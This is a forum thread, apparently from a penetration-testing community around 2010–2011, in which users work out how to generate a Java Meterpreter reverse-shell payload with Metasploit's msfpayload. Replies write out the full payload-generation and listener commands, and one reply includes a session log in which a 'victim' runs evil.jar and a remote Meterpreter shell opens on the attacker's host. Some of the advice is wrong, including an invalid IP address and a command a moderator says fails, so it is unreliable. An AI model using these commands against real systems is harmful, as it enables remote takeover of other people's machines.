Results 1 to 6 of 6

Thread: Create a java meterpreter payload

  1. #1
    Just burned his ISO
    Join Date
    Dec 2010
    Posts
    10

    Default Create a java meterpreter payload

    Hello, I want to create a java reverse meterpreter shell just like all can do using a linux meterpreter shell:

    ./msfpayload linux/x86/meterpreter/reverse_tcp LHOST=172.16.24.150 X > /tmp/meterlin.bin

    If I do the same but with a java payload:

    ./msfpayload java/meterpreter/reverse_tcp LHOST=127.0.0.1 X > /home/default/Documentos/exploit
    No executable format support for this arch/platform

    Why???
    How must i create a java meterpreter payload????

    Thanks

  2. #2
    Junior Member laptopz's Avatar
    Join Date
    Dec 2010
    Posts
    55

    Default Re: Create a java meterpreter payload

    ./msfpayload java/meterpreter/reverse_tcp LHOST=192.168.256.1 LPORT=31337 J > /tmp/evil.jar

    Edit: note to self : to write down 200 times "I will use google before writing stupid posts"

    Q: 2010/7/30 Shai rod <shai_r () msn com>:

    Hi all,
    I was wondering, if its possible to create a "java/meterpreter/reverse_tcp"
    jar file using msfpayload ?

    A: On Thu, Aug 12, 2010 at 2:41 PM, <egypt () metasploit com> wrote:

    Not yet. Right now you can take data/java/loader.jar and run it with
    "java -jar loader.jar <lhost> <lport>" to achieve your goal...

    Edit: I couldn`t resist testing anyway...

    brainstorm:/opt/metasploit3/msf3# ./msfpayload java/meterpreter/reverse_tcp LHOST=x.x.x.x LPORT=4444 R > /tmp/evil.jar && ./msfcli multi/handler PAYLOAD=java/meterpreter/reverse_tcp LHOST=x.x.x.x LPORT=4444 E[*] Please wait while we load the module tree...[*] Started reverse handler on x.x.x.x:4444[*] Starting the payload handler...
    ......
    victim@victory:~$java -jar /tmp/evil.jar
    ......[*] Sending stage (27642 bytes) to x.x.x.x[*] Meterpreter session 1 opened (x.x.x.x:4444 -> x.x.x.x:33371) at Thu Jan 13

    meterpreter >
    Last edited by laptopz; 01-12-2011 at 11:33 PM. Reason: wanted to know...
    If anything can go wrong, it will....

  3. #3
    Moderator KMDave's Avatar
    Join Date
    Jan 2010
    Posts
    2,281

    Default Re: Create a java meterpreter payload

    Quote Originally Posted by laptopz View Post
    ./msfpayload java/meterpreter/reverse_tcp LHOST=192.168.256.1 LPORT=31337 J > /tmp/evil.jar
    Which won't work by running it via java -jar evil.jar.

    Even though trying to help out is highly appreciated, please try out the solutions you are giving before posting.
    Tiocfaidh ár lá

  4. #4
    Just burned his ISO
    Join Date
    Dec 2010
    Posts
    10

    Default Re: Create a java meterpreter payload

    So if it doesnt work in that way, how must i do to create a java payload?

    Thanks

  5. #5
    Junior Member laptopz's Avatar
    Join Date
    Dec 2010
    Posts
    55

    Default Re: Create a java meterpreter payload

    You didn`t bother reading the thread,did ya?
    If anything can go wrong, it will....

  6. #6
    Just burned his ISO
    Join Date
    Dec 2010
    Posts
    10

    Default Respuesta: Create a java meterpreter payload

    root@default:/opt/framework-3.5.1/msf3# java -jar /tmp/evil.jar
    Invalid or corrupt jarfile /tmp/evil.jar
    Why???

    Thanks

Similar Threads

  1. What is Payload and how to use it.?
    By moorejohn90 in forum Beginners Forum
    Replies: 1
    Last Post: 08-20-2010, 10:09 AM
  2. Creating and encoding a Metasploit meterpreter payload
    By TAPE in forum BackTrack Videos
    Replies: 0
    Last Post: 06-12-2010, 12:27 AM
  3. Java Applet with Meterpreter Payload
    By purehate in forum OLD Misc Tools
    Replies: 1
    Last Post: 01-22-2010, 10:27 PM
  4. Replies: 1
    Last Post: 04-19-2009, 03:41 AM

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •